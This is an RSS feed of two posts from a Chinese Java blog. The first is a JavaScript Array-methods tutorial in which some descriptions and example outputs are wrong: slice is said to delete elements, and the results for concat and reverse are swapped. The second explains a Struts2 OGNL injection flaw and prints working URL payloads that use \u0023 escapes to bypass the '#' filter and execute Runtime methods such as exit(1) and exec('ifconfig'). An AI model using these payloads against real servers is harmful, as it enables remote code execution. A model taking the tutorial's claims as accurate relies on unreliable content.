﻿<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:trackback="http://madskills.com/public/xml/rss/module/trackback/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/"><channel><title>语源科技BlogJava-A+M笔记</title><link>http://www.blogjava.net/arlin/</link><description>劝君莫迟疑。</description><language>zh-cn</language><lastBuildDate>Mon, 13 Apr 2026 08:53:24 GMT</lastBuildDate><pubDate>Mon, 13 Apr 2026 08:53:24 GMT</pubDate><ttl>60</ttl><item><title>2012年02月04日</title><link>http://www.blogjava.net/arlin/archive/2012/02/04/369358.html</link><dc:creator>王小同</dc:creator><author>王小同</author><pubDate>Fri, 03 Feb 2012 19:20:00 GMT</pubDate><guid>http://www.blogjava.net/arlin/archive/2012/02/04/369358.html</guid><wfw:comment>http://www.blogjava.net/arlin/comments/369358.html</wfw:comment><comments>http://www.blogjava.net/arlin/archive/2012/02/04/369358.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/arlin/comments/commentRss/369358.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/arlin/services/trackbacks/369358.html</trackback:ping><description><![CDATA[<div>
<p>数组和function&nbsp; 都是对象，现在熟悉JS基础Array对象，有兴趣的同学一起来复习下吧。</p>
<p>array.pop : 删除数组内的最后一个对象</p>
<p>array.shift :删除数组内的第一个对象</p>
<p>array.join: 数组内元素弄成字符串插入页面</p>
<p>array.reverse : 数组内元素倒置</p>
<p>array.concat : 数组合并，但是谁与谁合并，要注意顺序</p>
<p>array.toString : 数组直接转为字符串，不再是对象了</p>
<p>array.valueOf : 显示原始的值，里面有什么东西</p>
<p>array.sort : 以ascii代码来排列先后顺序,但是数字不能用sort去排列。要排序请往下看，有例子哦。</p>
<p>array.push : 数组末端添加新对象，<span style="color: #0055ff">返回显示是数组长度</span></p>
<p>array.slice :删除数组内对象 slice( start , end)</p>
<p>array.splice : 删除添加对象</p>
<p>array.unshift : 前面插入对象，<span style="color: #0055ff">返回显示是数组长度</span></p>
<p><span style="color: #0055ff"><span style="color: #220066">array.indexOf: 检查对象是否存在</span><br /></span></p>
<p><span style="color: #0055ff">下面来显示一些例子，让我们能够更明白是如何用的，计算机又是如何操作的。</span></p>
<p><strong>var bb = ['qq','aa','ss','ee'];</strong></p>
<p><strong>var ooo = ['Nov','August'];<br /></strong></p>
<p><span style="font-size: 16px">alert(bb.</span><span style="color: #ff0000; font-size: 16px">indexOf</span><span style="font-size: 16px">('qq'));// 返回0,因为qq是数组内的一个对象，位置是0</span></p>
<p><span style="font-size: 16px">alert(bb.</span><span style="color: #ff0000; font-size: 16px">pop()</span><span style="font-size: 16px">);//返回ee</span></p>
<p><span style="font-size: 16px">alert(bb.</span><span style="color: #ff0000; font-size: 16px">shift()</span><span style="font-size: 16px">);//返回qq</span></p>
<p><span style="font-size: 16px">alert(bb.</span><span style="color: #ff0000; font-size: 16px">join( and )</span><span style="font-size: 16px">);//返回qq and aa and ss and ee</span></p><span style="font-size: 16px">alert(bb.<span style="color: #ff0000; font-size: 16px">toString()</span>);// 返回qq,aa,ss,ee<br /></span>
<p><span style="font-size: 16px">alert(bb.<span style="color: #ff0000; font-size: 16px">valueOf()</span>);//</span><span style="font-size: 16px">返回</span><span style="font-size: 16px">qq,aa,ss,ee</span></p>
<p><span style="font-size: 16px">alert(bb.<span style="color: #ff0000; font-size: 16px">sort()</span>);//</span><span style="font-size: 16px">返回aa,ee,qq,ss</span></p>
<p><span style="font-size: 16px">alert(bb.<span style="color: #ff0000; font-size: 16px">push(</span></span><span style="color: #ff0000">"Lemon","Pineapple"</span><span style="font-size: 16px"><span style="color: #ff0000; font-size: 16px">)</span>);//</span><span style="font-size: 16px">返回6,因为数组已有六个对象，分别是：qq,aa,ss,ee,Lemon,Pineapple</span></p>
<p><span style="font-size: 16px">alert(bb.<span style="color: #ff0000; font-size: 16px">slice(0,2)</span>);//</span><span style="font-size: 16px">返回qq,aa</span></p>
<p><span style="font-size: 16px">alert(bb.<span style="color: #ff0000; font-size: 16px">splice(1,3,'lemon')</span>);//</span><span style="font-size: 16px">返回aa,ss,ee,从aa起删除，除去长度为：三个</span></p>
<p><span style="font-size: 16px">alert(bb.<span style="color: #ff0000; font-size: 16px">unshift('sunny')</span>);//</span><span style="font-size: 16px">返回5,因为数组增加了一个对象，便由4变成了5<br /></span></p>
<p><span style="font-size: 16px">alert(bb.<span style="color: #ff0000; font-size: 16px">concat(ooo)</span>);//返回qq,aa,ss,ee</span></p>
<p><span style="font-size: 16px">alert(bb.</span><span style="color: #ff0000; font-size: 16px">reverse()</span><span style="font-size: 16px">);//返回ee,ss,aa,qq,Nov,August</span><strong></strong></p>
<p><span style="font-size: 16px">&nbsp;其实只要多练练就知道这些是怎么使用的了，多练习是灵活使用的前提。</span></p>
<p><span style="color: #0f9932; font-size: 16px">数字排序，使用sort()方法，例子如下：</span></p>
<p><span style="font-size: 16px">&nbsp;var foo = [1,12,15,54,56,89,123,78];</span></p>
<p><span style="font-size: 16px">&nbsp;function num(a,b) {</span></p>
<p><span style="font-size: 16px">&nbsp;&nbsp;&nbsp;&nbsp; return a - b;</span></p>
<p><span style="font-size: 16px">}</span></p>
<p><span style="font-size: 16px">alert(foo.sort(num));// 返回1,12,15,54,56,78,89,123</span></p>
<p><span style="font-size: 16px">现在就试试吧！</span></p></div><img src ="http://www.blogjava.net/arlin/aggbug/369358.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/arlin/" target="_blank">王小同</a> 2012-02-04 03:20 <a href="http://www.blogjava.net/arlin/archive/2012/02/04/369358.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Struts2.1.8以下的漏洞</title><link>http://www.blogjava.net/arlin/archive/2010/08/09/328282.html</link><dc:creator>王小同</dc:creator><author>王小同</author><pubDate>Mon, 09 Aug 2010 01:23:00 GMT</pubDate><guid>http://www.blogjava.net/arlin/archive/2010/08/09/328282.html</guid><wfw:comment>http://www.blogjava.net/arlin/comments/328282.html</wfw:comment><comments>http://www.blogjava.net/arlin/archive/2010/08/09/328282.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/arlin/comments/commentRss/328282.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/arlin/services/trackbacks/328282.html</trackback:ping><description><![CDATA[<p>?('\u0023_memberAccess[\'allowStaticMethodAccess\']')<br />
(meh)=true&amp;(aaa)<br />
(('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003d\u0023foo')<br />
(\u0023foo\u003dnew%20java.lang.Boolean("false")))<br />
&amp;(asdf)<br />
(('\u0023rt.exit(1)')(\u0023rt\u003d@java.lang.Runtime@getRuntime()))=1&nbsp; </p>
<p><br />
?('#_memberAccess['allowStaticMethodAccess']')(meh)=true<br />
&amp;(aaa)(('#context['xwork.MethodAccessor.denyMethodExecution']=#foo')(#foo=new java.lang.Boolean("false")))<br />
&amp;(asdf)(('#rt.exit(1)')(#rt=@java.lang.Runtime@getRuntime()))=1&nbsp; </p>
<p>OGNL处理时最终的结果就是<br />
java.lang.Runtime.getRuntime().exit(1);&nbsp; </p>
<p>----------------------------------------------------------------</p>
<p>?('\u0023_memberAccess[\'allowStaticMethodAccess\']')(meh)=true<br />
&amp;(aaa)(('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003d\u0023foo')(\u0023foo\u003dnew%20java.lang.Boolean("false")))<br />
&amp;(asdf)(('\u0023rt.exec("ifconfig")')(\u0023rt\u003d@java.lang.Runtime@getRuntime()))=1 </p>
<p>OGNL处理时最终的结果就是<br />
java.lang.Runtime.getRuntime().exec("ifconfig")&nbsp; </p>
<p>&nbsp;</p>
<p>以上为struts2.1.2版本洗一下的一个漏洞。首先铺垫一下，上面代码执行结果为停掉当前运行的容器，getRuntime().exit(1);退出。<br />
首先这个漏洞出现是因为OGNL 的用法。<br />
&nbsp;简单的介绍一下ognl概念去看百科吧，说一下用法：<br />
&nbsp;OGNL的方法调用:<br />
&nbsp;&nbsp;OGNL是在运行时调用方法的,这使得它无法做强制的类型检查,OGNL会去检索一个和它方法的各个参数最接近的一个方法进行使用,<br />
&nbsp;&nbsp;如果有多个方法满足这个条件,那么OGNL将任意调用其中的一个.(NULL和所有原始类型匹配,所以最有可能返回一个出乎意料的调用).<br />
&nbsp;OGNL也支持new object()的方法,产生一个新的对象,但是除了在java.lang包里的对象外,必须指明对象所在包的全名.<br />
&nbsp;OGNL支持直接调用类的静态方法.@class@method(args)<br />
&nbsp;&nbsp;eg：@abs(-12.345);<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; @Java.lang.Math@floor(3.25);<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; @Java.lang.Math@Sqrt(4);<br />
&nbsp;OGNL操作集合<br />
&nbsp;&nbsp;1操作列表Lists<br />
&nbsp;&nbsp;&nbsp;OGNL中Person in {"chinese", "japanese", '"Amercian"}<br />
&nbsp;&nbsp;2 操作映射<br />
&nbsp;&nbsp;&nbsp;OGNL中#{"foo" : "foovalue", "bar" : "barvalue"}<br />
&nbsp;OGNL有一个简化变量机制（在变量前加符号#），所有OGNL变量在整个表达式里是全局的。<br />
&nbsp;&nbsp;eg：#var<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; #var = 99<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; listeners.size().( #this &gt; 100 ? 2 * #this : 20 + #this ) 调用listeners的size()并与100比较，<br />
&nbsp;&nbsp;&nbsp;#this为size的值，如果大于100则是返回两倍的size值。<br />
&nbsp;&nbsp;&nbsp;可以这样创建一个Map：<br />
&nbsp;&nbsp;&nbsp;#{&#8220;foo&#8221;: &#8220;foo value&#8221;, &#8220;bar&#8221;: &#8220;bar value&#8221; }<br />
&nbsp;&nbsp;&nbsp;#@java.util.LinkedHashMap@{&#8220;foo&#8221;: &#8220;foo value&#8221;, &#8220;bar&#8221;: &#8220;bar value&#8221; }<br />
&nbsp;OGNL 上下文变量<br />
&nbsp;&nbsp;#application<br />
&nbsp;&nbsp;#session<br />
&nbsp;&nbsp;#request<br />
&nbsp;&nbsp;#parameters<br />
&nbsp;&nbsp;#attr<br />
&nbsp;&nbsp;以上各值分别对应应用程序的不同层次的值，为了达到程序不被恶意修改在xwork包 com.opensymphony.xwork2.interceptor.PrepareInterceptor类中对#号进行了过滤。<br />
&nbsp;&nbsp;但没有过滤java中的unicode码，#的是\u0023<br />
(未完待续。。)</p>
<img src ="http://www.blogjava.net/arlin/aggbug/328282.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/arlin/" target="_blank">王小同</a> 2010-08-09 09:23 <a href="http://www.blogjava.net/arlin/archive/2010/08/09/328282.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item></channel></rss>